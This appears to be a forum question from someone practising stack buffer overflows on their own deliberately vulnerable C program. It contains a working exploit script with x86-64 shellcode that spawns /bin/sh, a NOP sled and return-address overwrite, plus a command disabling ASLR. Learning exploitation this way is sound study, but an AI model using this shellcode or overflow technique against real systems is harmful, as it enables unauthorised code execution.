I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but I don't understand why this small, seemingly-insignificant change fixed my issue.
vuln.c
/**
* Compile:
*
* $ gcc -fno-stack-protector -z execstack -o vuln vuln.c
*/
#include <stdio.h>
#include <string.h>
int main(void)
{
char buffer[256];
gets(buffer);
if (strcmp(buffer, "password") == 0)
{
printf("PASS\n");
}
else
{
printf("FAIL\n");
}
return 0;
}
exploit.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import struct
import sys
# Start-of-buffer = 0x00007fffffffdc50
if len(sys.argv) != 2:
sys.stderr.write('Usage: {progname!s} return-addr{linesep!s}'.format(
progname=__file__, linesep=os.linesep
)
)
sys.exit(1)
else:
return_addr = int(sys.argv[1], 16)
shellcode = b''.join([
b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # mov rax, 0x68732f6e69622f2f ; "hs/nib//" => "//bin/sh"
b'\x48\xc1\xe8\x08', # shr rax, 8
b'\x50', # push rax
b'\x48\x89\xe7', # mov rdi, rsp
b'\x48\x31\xc0', # xor rax, rax
b'\x50', # push rax
b'\x57', # push rdi
b'\x48\x89\xe6', # mov rsi, rsp
b'\x50', # push rax
b'\x48\x89\xe2', # mov rdx, rsp
b'\xb0\x3b', # mov al, 59
b'\x0f\x05', # syscall
]
)
PAYLOAD_SIZE = 256 + 8 + 8
padding = b'\x41' * 32
nopsled = b'\x90' * (PAYLOAD_SIZE - len(shellcode) - 8 - 8 - len(padding))
rbp = struct.pack('<Q', 0x4242424242424242)
rip = struct.pack('<Q', return_addr)
payload = nopsled + shellcode + padding + rbp + rip
sys.stdout.buffer.write(payload)
When I execute the following, I get a SEGFAULT:
$ { python exploit.py 0x00007fffffffdc50 ; echo ; cat - } | ./vuln
However, this gives me a shell:
$ { python exploit.py 0x00007fffffffdcd0 ; echo ; cat - } | ./vuln
Note
I disabled ASLR during my testing.
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Other considerations
$ uname -r
4.19.81-1-MANJARO
$ gcc --version
gcc (GCC) 9.2.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.